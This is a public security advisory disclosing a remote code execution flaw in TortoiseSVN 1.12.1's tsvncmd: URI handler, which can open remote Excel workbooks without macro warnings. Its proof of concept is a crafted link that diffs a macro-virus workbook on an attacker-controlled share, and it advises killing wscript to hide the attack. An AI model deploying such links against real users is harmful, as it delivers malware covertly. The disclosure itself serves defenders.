Document Title:
TortoiseSVN v1.12.1 - Remote Code Execution Vulnerability

References (Source):




Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Code Execution

Current Estimated Price:
4.000€ - 5.000€

Product & Service Introduction:
TortoiseSVN is a really easy to use Revision control / version control / source control software for Windows. 
It is based on Apache Subversion (SVN); TortoiseSVN provides a nice and easy user interface for Subversion.
It is developed under the GPL. Which means it is completely free for anyone to use, including in a commercial 
environment, without any restriction. The source code is also freely available, so you can even develop your 
own version if you wish to. Since it's not an integration for a specific IDE like Visual Studio, Eclipse or 
others, you can use it with whatever development tools you like, and with any type of file.

(Copy of the about page: )

Abstract Advisory Information:
A vulnerability laboratory researcher (vxrl team) discovered a remote code execution vulnerability in the TortoiseSVN v1.12.1 software.

Vulnerability Disclosure Timeline:
2019-07-27: Researcher Notification & Coordination (Security Researcher)
2019-07-28: Vendor Notification 1 (Security Department)
2019-07-30: Vendor Notification 2 (Security Department)
2019-08-13: Public Disclosure (Vulnerability Laboratory)

Affected Product(s):
Product: TortoiseSVN - Software 1.12.1

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Pre auth - no privileges

User Interaction:
Low User Interaction

Disclosure Type:
Independent Security Research

Technical Details & Description:
A remote code execution vulnerability has been uncovered in the official TortoiseSVN v1.12.1 software.
The vulnerability typ allows remote attackers to execute arbitrary codes to compromise a target computer system.

The URI handler of TortoiseSVN (Tsvncmd:) allows a customised diff operation on Excel workbooks, which could be used to open remote 
workbooks without protection from macro security settings to execute arbitrary code.

The `tsvncmd:command:diff?path:[file1]?path2:[file2]` will execute a customised diff on [file1] and [file2] based on the file extension. 
For xls files, it will execute the script `diff-xls.js` using wscript, which will open the two files for analysis without any macro 
security warning. An attacker can exploit this by putting a macro virus in a network drive, and force the victim to open the workbooks 
and execute the macro inside. Since the macro is triggered through wscript, to make the attack less visible, one could kill the wscript 
process and quit the excel program after the code was executed.

Proof of Concept (PoC):
The vulnerability could be triggered by visiting a specially crafted URL via web browser. 
To reproduce the vulnerability, one could simply create a .url file or open the URL with a browsers, 
but a notification prompt may be shown for the latter case.

<a href='tsvncmd:command:diff?path:VBoxSvrvv.xlsm?path2:VBoxSvrvw.xlsx'>Checkout the Repo with TortoiseSVN</a>

where VBoxSvrv is the remote network drive controlled by the attacker, 
v.xlsm is the macro virus and w.xlsx is just an empty excel workbook.

Password: 23vxrl23

PoC: Video

Security Risk:
The security risk of the remote code execution vulnerability in the software component is estimated as high.

Credits & Authors:
PingFanZettaKe [VXRL Team] -

Disclaimer & Information:
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We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.


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